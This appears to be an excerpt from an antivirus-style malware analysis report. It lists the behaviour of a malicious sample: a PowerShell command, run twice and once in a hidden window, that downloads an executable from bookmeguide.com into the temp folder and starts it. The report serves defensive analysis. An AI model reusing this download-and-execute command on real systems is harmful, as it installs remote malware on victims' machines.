Technical Information
Malicious functions
Executes the following (exploit)
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' $a = $env:temp + '\DRNpGxHWR.exe';WGet 'http://bookmeguide.com/Mceinre.exe' -outFiLe $a;start $a
Miscellaneous
Creates and executes the following
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' $a = $env:temp + '\DRNpGxHWR.exe';WGet 'http://bookmeguide.com/Mceinre.exe' -outFiLe $a;start $a' (with hidden window)
